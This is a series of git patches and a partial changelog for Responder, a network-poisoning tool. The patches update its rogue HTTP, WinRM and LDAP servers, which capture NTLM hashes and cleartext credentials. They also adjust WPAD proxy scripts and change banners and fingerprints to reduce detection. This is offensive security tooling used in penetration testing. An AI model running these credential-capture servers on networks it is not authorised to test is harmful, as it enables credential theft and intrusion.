class WPAD_Auth_407_Ans(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 407 Unauthorized\r\n"), - ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("ServerType", "Server: Microsoft-IIS/10.0\r\n"), ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Type", "Content-Type: text/html\r\n"), ("WWW-Auth", "Proxy-Authenticate: NTLM\r\n"), @@ -567,7 +639,7 @@ class WPAD_Auth_407_Ans(Packet): class WPAD_NTLM_Challenge_Ans(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 407 Unauthorized\r\n"), - ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("ServerType", "Server: Microsoft-IIS/10.0\r\n"), ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Type", "Content-Type: text/html\r\n"), ("WWWAuth", "Proxy-Authenticate: NTLM "), @@ -583,7 +655,7 @@ class WPAD_NTLM_Challenge_Ans(Packet): class WPAD_Basic_407_Ans(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 407 Unauthorized\r\n"), - ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("ServerType", "Server: Microsoft-IIS/10.0\r\n"), ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Type", "Content-Type: text/html\r\n"), ("WWW-Auth", "Proxy-Authenticate: Basic realm=\"Authentication Required\"\r\n"), @@ -600,7 +672,7 @@ class WEBDAV_Options_Answer(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 200 OK\r\n"), ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), - ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("ServerType", "Server: Microsoft-IIS/10.0\r\n"), ("Allow", "Allow: GET,HEAD,POST,OPTIONS,TRACE\r\n"), ("Len", "Content-Length: 0\r\n"), ("Keep-Alive:", "Keep-Alive: timeout=5, max=100\r\n"), @@ -688,7 +760,7 @@ class MSSQLNTLMChallengeAnswer(Packet): ("TargetInfoLen", "\x7e\x00"), ("TargetInfoMaxLen", "\x7e\x00"), ("TargetInfoOffset", "\x3e\x00\x00\x00"), - ("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"), + ("NTLMOsVersion", "\x0a\x00\x7c\x4f\x00\x00\x00\x0f"), ("TargetNameStr", settings.Config.Domain), ("Av1", "\x02\x00"),#nbt name ("Av1Len", "\x06\x00"), @@ -1696,7 +1768,7 @@ class SMB2NegoAns(Packet): ("Signing", "\x01\x00"), ("Dialect", "\xff\x02"), ("Reserved", "\x00\x00"), - ("Guid", "\xee\x85\xab\xf7\xea\xf6\x0c\x4f\x92\x81\x92\x47\x6d\xeb\x76\xa9"), + ("Guid", urandom(16).decode('latin-1')), ("Capabilities", "\x07\x00\x00\x00"), ("MaxTransSize", "\x00\x00\x10\x00"), ("MaxReadSize", "\x00\x00\x10\x00"), diff --git a/servers/HTTP.py b/servers/HTTP.py index 91acf3f..c35df51 100644 --- a/servers/HTTP.py +++ b/servers/HTTP.py @@ -167,6 +167,7 @@ def GrabURL(data, host): # Handle HTTP packet sequence. def PacketSequence(data, client, Challenge): NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) + NTLM_Auth2 = re.findall(r'(?<=Authorization: Negotiate )[^\r]*', data) Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data) # Serve the .exe if needed @@ -193,7 +194,7 @@ def PacketSequence(data, client, Challenge): Buffer.calculate() Buffer_Ans = IIS_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1')) - #Buffer_Ans.calculate(Buffer) + Buffer_Ans.calculate() return Buffer_Ans if Packet_NTLM == b'\x03': @@ -212,6 +213,36 @@ def PacketSequence(data, client, Challenge): Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) Buffer.calculate() return Buffer + + elif NTLM_Auth2: + Packet_NTLM = b64decode(''.join(NTLM_Auth2))[8:9] + if Packet_NTLM == b'\x01': + GrabURL(data, client) + #GrabReferer(data, client) + GrabCookie(data, client) + + Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge)) + Buffer.calculate() + Buffer_Ans = IIS_NTLM_Challenge_Ans(WWWAuth = "WWW-Authenticate: Negotiate ", Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1')) + Buffer_Ans.calculate() + return Buffer_Ans + + if Packet_NTLM == b'\x03': + NTLM_Auth = b64decode(''.join(NTLM_Auth2)) + if IsWebDAV(data): + module = "WebDAV" + else: + module = "HTTP" + ParseHTTPHash(NTLM_Auth, Challenge, client, module) + + if settings.Config.Force_WPAD_Auth and WPAD_Custom: + print(text("[HTTP] WPAD (auth) file sent to %s" % client.replace("::ffff:",""))) + + return WPAD_Custom + else: + Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) + Buffer.calculate() + return Buffer elif Basic_Auth: ClearText_Auth = b64decode(''.join(Basic_Auth)) @@ -239,12 +270,16 @@ def PacketSequence(data, client, Challenge): return Buffer else: if settings.Config.Basic: - Response = IIS_Basic_401_Ans() + r = IIS_Basic_401_Ans() + r.calculate() + Response = r if settings.Config.Verbose: print(text("[HTTP] Sending BASIC authentication request to %s" % client.replace("::ffff:",""))) else: - Response = IIS_Auth_401_Ans() + r = IIS_Auth_401_Ans() + r.calculate() + Response = r if settings.Config.Verbose: print(text("[HTTP] Sending NTLM authentication request to %s" % client.replace("::ffff:",""))) diff --git a/servers/WinRM.py b/servers/WinRM.py index dda1355..dcdd013 100644 --- a/servers/WinRM.py +++ b/servers/WinRM.py @@ -125,12 +125,16 @@ def PacketSequence(data, client, Challenge): return Buffer else: if settings.Config.Basic: - Response = IIS_Basic_401_Ans() + r = IIS_Basic_401_Ans() + r.calculate() + Response = r if settings.Config.Verbose: print(text("[WinRM] Sending BASIC authentication request to %s" % client.replace("::ffff:",""))) else: - Response = IIS_Auth_401_Ans() + r = IIS_Auth_401_Ans() + r.calculate() + Response = r if settings.Config.Verbose: print(text("[WinRM] Sending NTLM authentication request to %s" % client.replace("::ffff:",""))) @@ -176,5 +180,6 @@ class WinRM(BaseRequestHandler): except: self.request.close() + raise pass From 700b7d6222afe3c1d6fb17a0a522e1166e6ad025 Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 4 Jan 2024 17:15:24 -0300 Subject: [PATCH 081/114] removed patreon donation link. --- .github/FUNDING.yml | 1 - 1 file changed, 1 deletion(-) diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml index 25f74ef..a3773ad 100644 --- a/.github/FUNDING.yml +++ b/.github/FUNDING.yml @@ -1,3 +1,2 @@ github: lgandx -patreon: PythonResponder custom: 'https://paypal.me/PythonResponder' From 66363177998ae230d34bed14cdc0c7ffb1051242 Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 4 Jan 2024 17:31:16 -0300 Subject: [PATCH 082/114] updated donation link --- utils.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/utils.py b/utils.py index 34e0c3f..ef8fc31 100755 --- a/utils.py +++ b/utils.py @@ -471,7 +471,7 @@ def banner(): print("\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__) print('') print(" To support this project:") - print(" Patreon -> https://www.patreon.com/PythonResponder") + print(" Github -> https://github.com/sponsors/lgandx") print(" Paypal -> https://paypal.me/PythonResponder") print('') print(" Author: Laurent Gaffie (laurent.gaffie@gmail.com)") From ec3349cb1e771738f1cf62554b41b7a32f5ae801 Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 4 Jan 2024 18:22:08 -0300 Subject: [PATCH 083/114] minor bugs --- packets.py | 4 ++-- servers/HTTP.py | 19 +------------------ 2 files changed, 3 insertions(+), 20 deletions(-) diff --git a/packets.py b/packets.py index 8fbcc87..12351f4 100644 --- a/packets.py +++ b/packets.py @@ -569,9 +569,9 @@ background-color:#555555;} class WPADScript(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 200 OK\r\n"), - ("ServerType", "Server: Microsoft-IIS/10.0\r\n"), - ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"), + ("Cache", "Pragma: no-cache\r\n"), + ("Server", "Server: BigIP\r\n"), ("ContentLen", "Content-Length: "), ("ActualLen", "76"), ("CRLF", "\r\n\r\n"), diff --git a/servers/HTTP.py b/servers/HTTP.py index c35df51..70b6b63 100644 --- a/servers/HTTP.py +++ b/servers/HTTP.py @@ -96,26 +96,9 @@ def GrabReferer(data, host): return Referer return False -def SpotFirefox(data): - UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data) - if UserAgent: - print(text("[HTTP] %s" % color("User-Agent : "+UserAgent[0], 2))) - IsFirefox = re.search('Firefox', UserAgent[0]) - if IsFirefox: - print(color("[WARNING]: Mozilla doesn't switch to fail-over proxies (as it should) when one's failing.", 1)) - print(color("[WARNING]: The current WPAD script will cause disruption on this host. Sending a dummy wpad script (DIRECT connect)", 1)) - return True - else: - return False - def WpadCustom(data, client): Wpad = re.search(r'(/wpad.dat|/*\.pac)', data) - if Wpad and SpotFirefox(data): - Buffer = WPADScript(Payload="function FindProxyForURL(url, host){return 'DIRECT';}") - Buffer.calculate() - return str(Buffer) - - if Wpad and SpotFirefox(data) == False: + if Wpad: Buffer = WPADScript(Payload=settings.Config.WPAD_Script) Buffer.calculate() return str(Buffer) From 39f8cbb9313aeb60a0935ddedd00f9b3fb575961 Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 4 Jan 2024 18:39:01 -0300 Subject: [PATCH 084/114] various changes. --- Responder.py | 6 +++++- settings.py | 6 +++++- 2 files changed, 10 insertions(+), 2 deletions(-) diff --git a/Responder.py b/Responder.py index 7642752..ef945c5 100755 --- a/Responder.py +++ b/Responder.py @@ -54,6 +54,10 @@ elif options.OURIP == None and IsOsX() == True: print("\n\033[1m\033[31mOSX detected, -i mandatory option is missing\033[0m\n") parser.print_help() exit(-1) + +elif options.ProxyAuth_On_Off and options.WPAD_On_Off: + print("\n\033[1m\033[31mYou cannot use WPAD server and Proxy_Auth server at the same time, choose one of them.\033[0m\n") + exit(-1) settings.init() settings.Config.populate(options) @@ -312,7 +316,7 @@ def main(): if settings.Config.WPAD_On_Off: from servers.HTTP_Proxy import HTTP_Proxy - threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3141, HTTP_Proxy,))) + threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3128, HTTP_Proxy,))) if settings.Config.ProxyAuth_On_Off: from servers.Proxy_Auth import Proxy_Auth diff --git a/settings.py b/settings.py index 33f2d81..20f1672 100644 --- a/settings.py +++ b/settings.py @@ -239,7 +239,11 @@ class Settings: self.HtmlToInject = ""# Let users set it up themself in Responder.conf. "Loading" if len(self.WPAD_Script) == 0: - self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; PROXY '+self.Bind_To+':3141; DIRECT";}' + if self.WPAD_On_Off: + self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; DIRECT";}' + + if self.ProxyAuth_On_Off: + self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; DIRECT";}' if self.Serve_Exe == True: if not os.path.exists(self.Html_Filename): From ee5ab9a5fd53dabe44ca551e00a001954d23532c Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 4 Jan 2024 19:04:15 -0300 Subject: [PATCH 085/114] default -> py3 --- DumpHash.py | 2 +- Report.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/DumpHash.py b/DumpHash.py index 6ce39db..daf0382 100755 --- a/DumpHash.py +++ b/DumpHash.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python3 # This file is part of Responder, a network take-over set of tools # created and maintained by Laurent Gaffie. # email: laurent.gaffie@gmail.com diff --git a/Report.py b/Report.py index a05e6e7..ff09e16 100755 --- a/Report.py +++ b/Report.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python3 # This file is part of Responder, a network take-over set of tools # created and maintained by Laurent Gaffie. # email: laurent.gaffie@gmail.com From 4b14455bdc38d83dda7a417cf470e02ed0040cba Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 4 Jan 2024 19:50:16 -0300 Subject: [PATCH 086/114] minor fix on ldap --- packets.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/packets.py b/packets.py index 12351f4..3ec9dec 100644 --- a/packets.py +++ b/packets.py @@ -1035,9 +1035,9 @@ class LDAPNTLMChallenge(Packet): ("NTLMSSPNtTargetInfoLen", "\x94\x00"), ("NTLMSSPNtTargetInfoMaxLen", "\x94\x00"), ("NTLMSSPNtTargetInfoBuffOffset", "\x56\x00\x00\x00"), - ("NegTokenInitSeqMechMessageVersionHigh", "\x05"), - ("NegTokenInitSeqMechMessageVersionLow", "\x02"), - ("NegTokenInitSeqMechMessageVersionBuilt", "\xce\x0e"), + ("NegTokenInitSeqMechMessageVersionHigh", "\x0a"), + ("NegTokenInitSeqMechMessageVersionLow", "\x00"), + ("NegTokenInitSeqMechMessageVersionBuilt", "\x7c\x4f"), ("NegTokenInitSeqMechMessageVersionReserved", "\x00\x00\x00"), ("NegTokenInitSeqMechMessageVersionNTLMType", "\x0f"), ("NTLMSSPNtWorkstationName", settings.Config.Domain), From e564e5159b9a1bfe3c5f1101b3ab11672e0fd46b Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 4 Jan 2024 20:37:45 -0300 Subject: [PATCH 087/114] removed bowser listener --- Responder.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/Responder.py b/Responder.py index ef945c5..aff4ff5 100755 --- a/Responder.py +++ b/Responder.py @@ -285,9 +285,11 @@ def main(): threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,))) threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,))) + #// Vintage Responder BOWSER module, now disabled by default. + #// Generate to much noise & easily detectable on the network when in analyze mode. # Load Browser Listener - from servers.Browser import Browser - threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,))) + #from servers.Browser import Browser + #threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,))) if settings.Config.HTTP_On_Off: from servers.HTTP import HTTP From 4b560f6e17493dcfc6bf653d0ebe0547a88735ac Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 4 Jan 2024 20:44:13 -0300 Subject: [PATCH 088/114] removed debug string --- servers/WinRM.py | 1 - 1 file changed, 1 deletion(-) diff --git a/servers/WinRM.py b/servers/WinRM.py index dcdd013..bf730e4 100644 --- a/servers/WinRM.py +++ b/servers/WinRM.py @@ -180,6 +180,5 @@ class WinRM(BaseRequestHandler): except: self.request.close() - raise pass From 66e5b12c5686f4d00820694acbee5c5cbff83ba9 Mon Sep 17 00:00:00 2001 From: lgandx Date: Sat, 6 Jan 2024 07:15:50 -0300 Subject: [PATCH 089/114] Updated changelog --- CHANGELOG.md | 1091 +++++++++++++++++++++++++++++++------------------- 1 file changed, 668 insertions(+), 423 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 99f2880..e01edf2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,424 +1,669 @@ -*In compliance with the [GPL-3.0](https://opensource.org/licenses/GPL-3.0) license: I declare that this version of the program contains my modifications, which can be seen through the usual "git" mechanism.* - - -2022-08 -Contributor(s): -lgandx ->Added: append .local TLD to DontRespondToNames + MDNS bug fix ->Merge pull request #199 from gblomqvist/masterFix double logging of first hash/cleartext when CaptureMultipleHashFromSameHost = On ->Modified wpad script ->fixed the RespondTo/DontRespondTo issue ->Merge pull request #210 from 0xjbb/masterAdded Quiet Mode -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2022-07 -Contributor(s): -jb -lgandx ->Minor bugs and display/logging fixes + RDP srv SSLwrapping fix ->Fixed: Warnings on python 3.10 ->Added Quiet mode -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2022-05 -Contributor(s): -lgandx ->removed -r reference from help msg. ->removed -r references -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2022-04 -Contributor(s): -Gustaf Blomqvist ->Fix double logging of first hash or cleartext -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2022-02 -Contributor(s): -Tom Aviv -Andrii Nechytailov -kitchung -lgandx ->Merge pull request #190 from kitchung/kitchung-patch-1DE-RPC server status not correct ->DE-RPC server status not correct #189Line 512 should read: -print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.DCERPC_On_Off else disabled)) - -Instead of: -print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.RDP_On_Off else disabled)) ->MutableMapping was moved to collections.abc ->Merge pull request #191 from Mipsters/masterMutableMapping was moved to collections.abc ->Fixed options formating in README ->Merge pull request #188 from Ne4istb/patch-1Fixed options formating in README -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2022-01 -Contributor(s): -lgandx -root ->Updated the README and Responder help flags ->Merge pull request #185 from ajkerley628/masterUpdated the README and Responder help flags -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2021-12 -Contributor(s): -lgandx ->Added IPv6 support ->Updated the Readme file with the new options and removed some old stuff ->Added date and time for each Responder session config log. ->Remove analyze mode on DNS since you need to ARP to get queries ->Removed the static certs and added automatic cert generation ->added DHCP db & updated the report script to reflect that ->Added DHCP DNS vs WPAD srv injection ->Merge pull request #136 from ghost/patch-2Correct Analyze log filename ->added support for OPT EDNS ->Added DHCP DNS vs DHCP WPAD ->Fixed the ON/OFF for poisoners when in Analyze mode. ->minor display fix. ->added the ability to provide external IP on WPAD poison via DHCP -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2021-11 -Contributor(s): -lgandx ->DHCP: Added auto WPADscript configuration with our IP instead of hardcoded NBT string -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2021-10 -Contributor(s): -lgandx ->Added DHCP server -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2021-05 -Contributor(s): -Pixis -lgandx -pixis ->minor fix ->Add ESS disabling information ->Add --lm switch for ESS downgrade ->Add ESS downgrade parameter ->Merge pull request #163 from Hackndo/masterAdd ESS downgrade parameter -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2021-04 -Contributor(s): -lgandx ->forgot to add packets.py ->Added WinRM rogue server ->Added dce-rpc module + enhancements + bug fix. ->removed addiontional RR on SRV answers ->Update README.md ->Update README.mdAdded Synacktiv as major donor. ->Added DNS SRV handling for ldap/kerberos + LDAP netlogon ping -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2021-03 -Contributor(s): -lgandx ->Removed donation banner ->minor fix ->Ported to py3 ->added a check for exec file ->made compatible py2/py3 -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2021-02 -Contributor(s): -lgandx ->added donation address and minor typo ->Added donation banner. ->added smb filetime support -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2020-12 -Contributor(s): -lgandx ->Merge pull request #145 from khiemdoan/fix-syntaxFix wrong syntax ->Merge pull request #135 from LabanSkollerDefensify/patch-1Fix typos in README ->Added SMB2 support for RunFinger and various other checks. ->Merge pull request #138 from ThePirateWhoSmellsOfSunflowers/fix_challengefix custom challenge in python3 -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2020-11 -Contributor(s): -Khiem Doan ->Fix wrong syntax -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2020-10 -Contributor(s): -ThePirateWhoSmellsOfSunflowers ->small fix ->fix custom challenge in python3 -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2020-09 -Contributor(s): -nickyb -Laban Sköllermark -lgandx ->Merge pull request #133 from NickstaDB/fix-bind-addressUse settings.Config.Bind_To as bind address. ->Fixed LLMNR/NBT-NS/Browser issue when binding to a specific interface ->Fix typos in README* Missing "is" in description of the tool -* s/an unique/a unique/ since it starts with a consonant sound -* Move a word to its correct place ->Correct Analyze log filenameThe default filename for Analyze logs is Analyzer-Session.log, not -Analyze-Session.log. ->Use settings.Config.Bind_To as bind address. -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2020-08 -Contributor(s): -lgandx ->python3.8 compability fix ->py3 bugfix ->version update -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2020-02 -Contributor(s): -lgandx -Sophie Brun ->Fix encoding issue in Python 3 ->Merge pull request #117 from sbrun/masterFix encoding issue in Python 3 -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2020-01 -Contributor(s): -lgandx ->Added py3 and py2 compatibility + many bugfix -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2019-08 -Contributor(s): -lgandx ->Added RDP rogue server -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2019-05 -Contributor(s): -lgandx ->Merge pull request #92 from Crypt0-M3lon/masterFix socket timeout on HTTP POST requests -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2019-02 -Contributor(s): -Crypt0-M3lon ->Fix socket timeout on HTTP POST requestsRemaining size should be checked at the end of the loop, the current implementation hang when POST request Content-Lenght is 0. -We want to check for Content-Length header only if we received full header. ->Merge pull request #1 from Crypt0-M3lon/Crypt0-M3lon-patch-1Fix socket timeout on HTTP POST requests -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2019-01 -Contributor(s): -Clément Notin -lgandx ->Merge pull request #89 from cnotin/patch-1Replace ParseSMB2NTLMv2Hash() by ParseSMBHash() to handle NTLMv1 and NTLMv2 ->Replace ParseSMB2NTLMv2Hash() by ParseSMBHash() to handle NTLMv1 and NTLMv2 -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2018-11 -Contributor(s): -lgandx ->removed debug string ->Merge pull request #86 from mschader/patch-1Update README.md: Fix typo -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2018-10 -Contributor(s): -Markus ->Update README.md: Fix typoFixed just a tiny typo. -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2018-08 -Contributor(s): -Clément Notin -lgandx ->Fix version number in settings.py ->Fix multi HTTP responses ->Merge pull request #83 from cnotin/patch-2Fix multi HTTP responses ->Merge pull request #80 from myst404/masterBetter handling of cleartext credentials ->Merge pull request #82 from cnotin/patch-1Fix version number in settings.py -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2018-06 -Contributor(s): -myst404 ->Better handling of cleartext credentials -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2017-11 -Contributor(s): -Lionel PRAT -lgandx ->Add ignore case on check body for html inject ->Merge pull request #67 from lprat/masterAdd ignore case on check body for html inject ->Merge pull request #51 from watersalesman/masterFixed instances of "CRTL-C" to "CTRL-C" -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2017-09 -Contributor(s): -lgandx ->Changed the complete LDAP parsing hash algo (ntlmv2 bug). ->Fixed various bugs and improved the LDAP module. ->Several Bugfix ->added support for plain auth -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2017-08 -Contributor(s): -OJ -lgandx ->Pass Challenge value to the LDAP parsing function ->Merge pull request #61 from OJ/fix-ldap-hash-parsingPass Challenge value to the LDAP parsing function -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2017-07 -Contributor(s): -lgandx ->Merge pull request #58 from megabug/mssql-browserAdd Microsoft SQL Server Browser responder -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2017-06 -Contributor(s): -Matthew Daley ->Add Microsoft SQL Server Browser responderWhen connecting to a named instance, a SQL client (at least SQL ServerNative Client) will send a request (namely a CLNT_UCAST_INST message) tothe server's SQL Server Browser service for instance connectioninformation. If it gets no response, the connection attempt fails.By adding a SQL Server Browser responder for these requests, we ensurethat connections are successfully made to the SQL Server responder forhash capture.As per the comment, this is based on the document "[MC-SQLR]: SQL ServerResolution Protocol", currently available at. ->Update README.md with new SQL Browser port usage -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2017-04 -Contributor(s): -Randy Ramos ->Fixed instances of "CRTL-C" to "CTRL-C" -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2017-03 -Contributor(s): -lgandx ->Fixed bug in FindSMB2UPTime ->Removed Paypal donation link. ->updated readme ->MultiRelay 2.0 Release -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2017-02 -Contributor(s): -skelsec -lgandx -Gifts ->Fix for RandomChallenge function. Function getrandbits can return less than 64 bits, thus decode('hex') will crash with TypeError: Odd-length string ->minor fix ->Merge pull request #25 from joshuaskorich/masteradded `ip` commands in addition to ifconfig and netstat ->SimpleSSL ->making HTTP great again ->Merge pull request #32 from Gifts/fix_randchallengeFix for RandomChallenge function. ->cleaning up comments ->Added: Hashdump, Stats report ->fixed crash: typo. ->Merge pull request #33 from skelsec/masterFixing HTTP header issue -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2017-01 -Contributor(s): -thejosko -lgandx ->Added: Random challenge for each requests (default) ->added `ip` commands in addition to ifconfig and netstat -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2016-12 -Contributor(s): -lgandx ->Added paypal button -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2016-11 -Contributor(s): -lgandx ->Added: BTC donation address -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2016-10 -Contributor(s): -Nikos Vassakis -lgandx ->Fixed wrong challenge issue ->Fixed the bind to interface issue (https://github.com/lgandx/Responder/issues/6) ->Changed to executable ->fixed bug in hash parsing. ->updated version number ->Patch for Android 4.x terminals that are missing some linux commands ->Fix values for win98 and win10 (requested here: https://github.com/lgandx/Responder/pull/7/commits/d9d34f04cddbd666865089d809eb5b3d46dd9cd4) ->Updated versions ->Minor fix ->Merge pull request #14 from nvssks/masterPatch for Android 4.x terminals that are missing some linux commands ->updated to current version. -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -2016-09 -Contributor(s): -lgaffie -lgandx ->bug: removed loop, while connection handled by basehttpserver ->updated version ->Added proxy auth server + various fixes and improvements ->Added SMBv2 support enabled by default. ->minor fix ->Added support for webdav, auto credz. ->Added current date for all HTTP headers, avoiding easy detection ->removed debug info ->Added option -e, specify an external IP address to redirect poisoned traffic to. ->Config dumped independently. Responder-Session.log is now a clean file. ->Reflected recent changes. ->Removed the config dump in Responder-Session.log. New file gets created in logs, with host network config such as dns, routes, ifconfig and config dump ->minor bug fix ->Fixed colors in log files ->Firefox blacklisted on WPAD since it doesn't honors fail-over proxies. Added SO_LINGER to send RST when close() is called. ->Added new option in Responder.conf. Capture multiple hashes from the same client. Default is On. ->minor fixes ->Minor fixes ->Removed useless HTTP headers ->Minor fix -- - - - - - - - - - - - - - - - - - - - - - - - - - - +# Changelog + +All notable changes to this project will be documented in this file. + +The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/) +and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html). + + +## Unreleased + +[Compare with latest](https://github.com/lgandx/Responder/compare/v3.1.4.0...HEAD) + +### Removed + +- removed debug string ([4b560f6](https://github.com/lgandx/Responder/commit/4b560f6e17493dcfc6bf653d0ebe0547a88735ac) by lgandx). +- removed bowser listener ([e564e51](https://github.com/lgandx/Responder/commit/e564e5159b9a1bfe3c5f1101b3ab11672e0fd46b) by lgandx). + + +## [v3.1.4.0](https://github.com/lgandx/Responder/releases/tag/v3.1.4.0) - 2024-01-04 + +[Compare with v3.1.3.0](https://github.com/lgandx/Responder/compare/v3.1.3.0...v3.1.4.0) + +### Added + +- added LDAPS listener ([6d61f04](https://github.com/lgandx/Responder/commit/6d61f0439c1779767c9ea9840ac433ed98e672cd) by exploide). +- added:error handling on exceptions. ([f670fba](https://github.com/lgandx/Responder/commit/f670fbaa7fcd3b072aef7cf29f43c1d76d6f13bf) by lgandx). +- Added full path to gen-self-sign-cert.sh ([69f431e](https://github.com/lgandx/Responder/commit/69f431e58f07c231e75a73b0782855e9277573ac) by kevintellier). +- add flag (-s) to enable smbv1scan ([cf0c4ee](https://github.com/lgandx/Responder/commit/cf0c4ee659779c027374155716f09b13cb41abb5) by requin). +- add hostname on smbv2 scan result ([709df2c](https://github.com/lgandx/Responder/commit/709df2c6e18ec2fa6647fdaaa4d9f9e2cb7920f8) by requin). +- Added dump by legacy protocols ([b8818ed](https://github.com/lgandx/Responder/commit/b8818ed0c47d9d615c4ba1dcff99e8d2d98296d5) by lgandx). +- added requirements.txt ([00d9d27](https://github.com/lgandx/Responder/commit/00d9d27089d8f02658b08f596d28d1722c276d57) by lgandx). +- Added: append .local TLD to DontRespondToNames + MDNS bug fix ([0bc226b](https://github.com/lgandx/Responder/commit/0bc226b4beaa84eb3ac26f5d563959ccf567262b) by lgandx). +- Added Quiet mode ([2cd66a9](https://github.com/lgandx/Responder/commit/2cd66a9b92aa6ca2b7fba0fea03b0a285c186683) by jb). + +### Fixed + +- Fixed issue in http srv, more hashes & signature reduction. ([66ee7f8](https://github.com/lgandx/Responder/commit/66ee7f8f08f57926f5b3694ffb9e87619eee576f) by lgandx). +- fixed a TypeError in MSSQLBrowser ([20cdd9c](https://github.com/lgandx/Responder/commit/20cdd9c7c23e620e3d530f76003b94407882e9cd) by 